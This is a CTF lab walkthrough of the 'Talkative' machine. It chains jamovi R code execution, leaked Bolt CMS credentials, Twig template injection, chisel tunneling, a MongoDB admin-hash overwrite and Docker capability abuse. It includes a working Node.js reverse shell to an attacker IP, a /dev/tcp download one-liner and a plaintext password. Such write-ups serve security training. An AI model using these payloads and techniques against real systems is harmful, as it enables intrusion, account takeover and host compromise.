$ nmap -p- --min-rate 5000 10.129.227.113
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 08:13 EDT
Warning: 10.129.227.113 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.227.113
Host is up (0.012s latency).
Not shown: 65181 closed tcp ports (conn-refused), 350 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp filtered ssh
80/tcp open http
3000/tcp open ppp
8080/tcp open http-proxy
8081/tcp open blackice-icecap
8082/tcp open blackice-alerts
Lots of HTTP ports it seems. We can add talkative.htb to our /etc/hosts file to view these sites. Also, SSH seems to be blocked, so we probably need to access from within a shell.
Talkative
Port 80 hosts a normal corporate website:
This site had some usernames and emails that we can take note of for now.
This is a statistical software that is used for data analytics. The more interesting part is, we can run R code using the Rj editor. R can be used to execute system commands via the system function.
We now have a very simple RCE on the machine. We can get a reverse shell using a simple bash script.
Docker Enum -> Bolt Creds
We can take a look within this Docker and see if we can find any sensitive files. Within the /root directory, we can find some files regarding Bolt:
root@b06821bbda78:~# ls -la
total 28
drwx------ 1 root root 4096 Mar 7 2022 .
drwxr-xr-x 1 root root 4096 Mar 7 2022 ..
lrwxrwxrwx 1 root root 9 Mar 7 2022 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwxr-xr-x 3 root root 4096 May 1 12:18 .jamovi
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwxrwxrwx 2 root root 4096 Aug 15 2021 Documents
-rw-r--r-- 1 root root 2192 Aug 15 2021 bolt-administration.omv
I transferred the bolt-administration.omv file back to my machine via base64 encoding. Then, we can unzip this file and read the data within. The xdata.json file had some credentials:
Now that we have some credentials, we need to find the Bolt login page. Normally, this is at the /bolt directory. We can find this login page at talkative.htb/bolt.
We can login with saul@talkative.htb:jeO09ufhWD<s.
Bolt RCE
This version of Bolt doesn't have any obvious vulnerabilities, so let's take a look at the File Management System since that is the most interesting. It appears that we can edit the themes and templates used for this machine:
The page seems to use Twig templates to display the webpages:
This means that we can probably execute code using SSTI via Twig templates. I added this one liner to the script and saved the changes.
Then, we need to head to Maintenance > Clear Cache, and reload the main page afterwards. Our listener port would catch a reverse shell.
Docker Escape -> User
We had access to yet another Docker container. However, there was really nothing here that I could find or exploit. I tried to ssh to 172.17.0.1 as saul, and it worked surprisingly.
www-data@f61dc505f7d6:/var/www/talkative.htb$ ssh saul@172.17.0.1
The authenticity of host '172.17.0.1 (172.17.0.1)' can't be established.
ECDSA key fingerprint is SHA256:kUPIZ6IPcxq7Mei4nUzQI3JakxPUtkTlEejtabx4wnY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
saul@172.17.0.1's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 01 May 2023 12:42:50 PM UTC
System load: 0.0
Usage of /: 79.4% of 8.80GB
Memory usage: 74%
Swap usage: 0%
Processes: 375
Users logged in: 0
IPv4 address for br-ea74c394a147: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.129.227.113
IPv6 address for eth0: dead:beef::250:56ff:feb9:37e9
18 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
saul@talkative:~$ id
uid=1000(saul) gid=1000(saul) groups=1000(saul)
Here, we can grab the user flag.
Privilege Escalation
Docker Discovery
I enumerated the processes operating on the system, and found a load of Docker containers being run.
All of the Docker containers are hosted on 172.18.0.1/24 it appears. There are also a lot of Docker containers on 172.17.0.0/24 that are hosting the port 80 instance. I noticed that they skipped 172.17.0.2, and I wanted to see if it existed via ping.
saul@talkative:~$ ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.106 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.106/0.106/0.106/0.000 ms
So this machine exists. We can download the nmap binary onto the machine and scan this host.
saul@talkative:~$ ./nmap_binary -p- --min-rate 10000 172.17.0.2
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-05-01 12:48 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.17.0.2
Host is up (0.00012s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
27017/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 12.98 seconds
Port 27017 for MongoDB is open, and we can forward this using chisel.
# on kalichiselserver-p5555--reverse# on victim./chiselclient10.10.14.13:5555R:27017:172.17.0.2:27017
Then, we can enumerate port 27017 for ourselves. Since it is running on our localhost, we can use mongo to interact with it.
Mongo Enum
We can first view the databases present:
rs0:PRIMARY> show dbs
admin 0.000GB
config 0.000GB
local 0.011GB
meteor 0.004GB
Seems that meteor is the one from the machine. This database contains information regarding Rocket Chat:
We can sort of make out how there's an admin user that has a hashed Bcrypt password. What we can do is replace this with a hash of our own choosing and then login as the admin of Rocket Chat.
In this case, I just used a simple password of '12345'. Then we can login to Rocket Chat.
Rocket Chat RCE
The Rocket Chat dashboard had nothong of interest:
I was taking a look at the Administration panel and seeing what I could do, when I found this:
This is sort of like plugins for Rocket Chat, and it appears I can add new ones via Webhooks:
When we click Incoming, it appears we can run some type of Script here:
Reading the documentation for Rocket Chat, it appears that this runs Javascript code!
We can grab a quick node.js reverse shell and slap it in there.
(function(){var net =require("net"), cp =require("child_process"), sh =cp.spawn("bash", []);var client =newnet.Socket();client.connect(443,"10.10.14.13",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client); });return /a/; // Prevents the Node.js application from crashing})();
After renaming the post and which channel to put it at (use #general), there's a curl command generated at the bottom.
curl-XPOST-H'Content-Type: application/json'--data'{"text":"Example message","attachments":[{"title":"Rocket.Chat","title_link":"https://rocket.chat","text":"Rocket.Chat, the best open source chat","image_url":"/images/integration-attachment-example.png","color":"#764FA5"}]}'http://talkative.htb:3000/hooks/Csc8cKYTF7unv6NMQ/jqsXqgirwnZxXF7BLb4ooc3CYpKp8tbfmM5DA55tCL9vWjwb
Afterwards, we would catch a reverse shell on our listener port:
Docker Vulnerabilities
This Docker was almost completely empty. We didn't have any tools to run or anything really, and it was a bit difficult to progress from here. Since there was no applications on the machine and we are root, the vulnerability should have to do with Docker somehow.
I enumerated a few things:
Kernel Exploits
Determined if there commands I could run by checjking the binaries present on the machine, and saw that we could run node, perl and bash. Nothing else.
Checked the file system for the 100th time to make sure I didn't miss an obvious file
Checked the user capabilities
The last one proved to be interesting. Since we didn't have capsh, we could do it by reading /proc/self/status.
It seems that we have the CAP_DAC_READ_SEARCH capability enabled. This capability allows us to bypass all file permissions and read any file. This means any file, even those outside of the mountspace. Since this is a Docker and (probably) is mounted on the main machine, this allows us to read all files within the main machine, including the root flag.
When searching for tools I could use to exploit, I came across this:
This was a great tool kit to use to enumerate and exploit the capabilities within Containers that had nothing else to offer. From the repository, we can transfer it like so:
# on kalinc-lvp999<cdk# on dockercat</dev/tcp/10.10.14.13/999>cdk
Then, the file would be downloaded. We can try running the exploit for our capability:
